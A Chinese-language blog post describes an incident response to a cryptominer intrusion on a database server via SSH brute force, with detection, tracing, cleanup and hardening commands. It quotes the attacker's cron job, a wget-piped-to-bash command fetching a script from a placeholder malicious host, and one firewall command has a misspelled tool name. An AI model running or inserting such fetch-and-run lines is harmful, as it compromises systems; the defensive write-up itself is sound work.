网络安全运维应急响应与溯源分析实战案例

在日常运维过程中,网络安全事件时有发生,快速响应和精准溯源是保障业务稳定运行的关键。本文将通过一个实际案例,详细解析从发现问题到溯源定位,再到最终解决的完整流程。

目录

一、事件背景

二、事件发现

[1. 监控告警触发](#1. 监控告警触发)

[2. 初步分析](#2. 初步分析)

三、溯源分析

[1. 确定入侵源头](#1. 确定入侵源头)

四、处置与恢复

[1. 立刻阻断攻击者控制](#1. 立刻阻断攻击者控制)

[2. 清除恶意程序](#2. 清除恶意程序)

[3. 服务器加固](#3. 服务器加固)

五、总结与经验


一、事件背景

某互联网公司运维团队在日常巡检时,发现一台数据库服务器(192.168.1.100)的CPU使用率异常升高,并伴随大量未知进程占用系统资源,同时MySQL的查询响应时间大幅延长。初步判断可能存在异常入侵行为。

二、事件发现

1. 监控告警触发

使用 Zabbix 监控发现:

  • CPU 使用率持续超过 90%(长期稳定在 20% 左右)
  • MySQL QPS/TPS 下降明显,导致应用访问变慢
  • 服务器 磁盘 I/O 高异常

同时,Wazuh SIEM 平台检测到该服务器有异常 SSH 登录记录,涉及多个可疑 IP 地址。

2. 初步分析

(1)服务器资源消耗情况排查

bash 复制代码
top -c
ps aux --sort=-%cpu | head -10
ps aux --sort=-%mem | head -10

发现多个可疑进程(xmrig、kthreadd)在占用大量 CPU 资源,疑似挖矿木马。

(2)网络连接检测

bash 复制代码
netstat -antp
ss -tunlp
lsof -i

发现多个可疑的远程连接,连接至境外服务器 45.67.X.X:3333,疑似 C&C 服务器。

(3)日志分析

bash 复制代码
grep "Accepted password" /var/log/auth.log | awk '{print $1,$2,$3,$9,$11}'

发现多个异常 SSH 登录记录,部分 IP 源自境外,且短时间内进行了高频登录。

三、溯源分析

1. 确定入侵源头

使用 HIDS(主机入侵检测) 结合 日志分析,溯源入侵行为:

  1. 攻击者利用弱密码暴力破解 SSH 账户(root/root123)
  2. 登录后下载并运行恶意挖矿程序(XMRig)
  3. 修改 crontab 以保持长期控制

检查 SSH 登录记录:

bash 复制代码
last -i | grep "root"

发现 root 账户从多个不明 IP 登录。

检查计划任务:

bash 复制代码
crontab -l
cat /etc/crontab
ls -al /etc/cron.hourly/

发现恶意计划任务,定期下载并运行木马:

bash 复制代码
wget -qO- http://malicious-site.com/m.sh | bash

查找可疑进程执行路径:

bash 复制代码
which xmrig
ls -l /usr/local/bin/xmrig
strings /usr/local/bin/xmrig

确认该进程为 挖矿程序,并且被设置为开机自启。

四、处置与恢复

1. 立刻阻断攻击者控制

  • 阻止恶意 IP:
bash 复制代码
iptables -A INPUT -s 45.67.X.X -j DROP
firewalld-cmd --permanent --add-rich-rule='rule family="ipv4" source address="45.67.X.X" reject'
  • 禁用 root 远程登录:
bash 复制代码
sed -i 's/^PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
systemctl restart sshd
  • 修改所有账户密码,并启用 SSH 公钥认证。

2. 清除恶意程序

  • 杀掉恶意进程:
bash 复制代码
pkill -f xmrig
kill -9 $(pgrep -f xmrig)
  • 删除木马文件:
bash 复制代码
rm -rf /usr/local/bin/xmrig /tmp/malicious.sh /etc/cron.hourly/malicious
  • 检查后门:
bash 复制代码
ls -al /root/.ssh/

发现 authorized_keys 中被植入了攻击者的 SSH 公钥,需删除:

bash 复制代码
echo "" > /root/.ssh/authorized_keys

3. 服务器加固

  • 开启 fail2ban 防暴力破解:
bash 复制代码
apt install fail2ban -y
systemctl enable fail2ban
  • 设置 SSH 端口为非默认端口:
bash 复制代码
sed -i 's/#Port 22/Port 2222/' /etc/ssh/sshd_config
systemctl restart sshd
  • 关闭不必要的端口:
bash 复制代码
netstat -tulnp | grep LISTEN
systemctl disable unneeded-service

五、总结与经验

  1. SSH 账户密码要设置足够复杂,避免使用 root 直接登录。
  2. 部署 Wazuh、Fail2ban 等安全工具,实时监控入侵行为。
  3. 定期检查服务器 CPU、内存、I/O 指标,发现异常及时分析。
  4. 建立应急响应预案,形成自动化处置流程。
相关推荐
木头左19 小时前
【Nginx】内网服务源 IP 白名单实战:动态域名解析放行网段 + 端口接管零改造
运维·nginx·白名单·反向代理
禁默20 小时前
启元 Q1 二次开发实践:Ubuntu 部署与仿真验证,从 PrimeConsole 到 ROS 2 Humble + RViz
linux·运维·ubuntu
skywalk816320 小时前
把 去也网站 从 Ubuntu 搬到 FreeBSD:一次 Service Jail + nginx 的部署实录
linux·运维·nginx·ubuntu·freebsd
翔云12345621 小时前
RocksDB中,客户端每写入一次数据,需要访问几次磁盘
运维·数据库·mysql
爱莉希雅&&&1 天前
GitLab 完整学习笔记
linux·运维·服务器
山东科恩光电1 天前
安全触边在游乐园设施与公共交通车门防夹伤系统中的选型安装及维护要点
安全
小杨爱科普1 天前
制造业上自动化改造,改造部分的专利到底归谁
运维·经验分享·自动化
QXWZ_IA1 天前
横跨三网“只进不出”架构如何划分安全边界
安全·架构
方便面不加香菜1 天前
Docker Container --容器及容器的操作案例详解
运维·docker·容器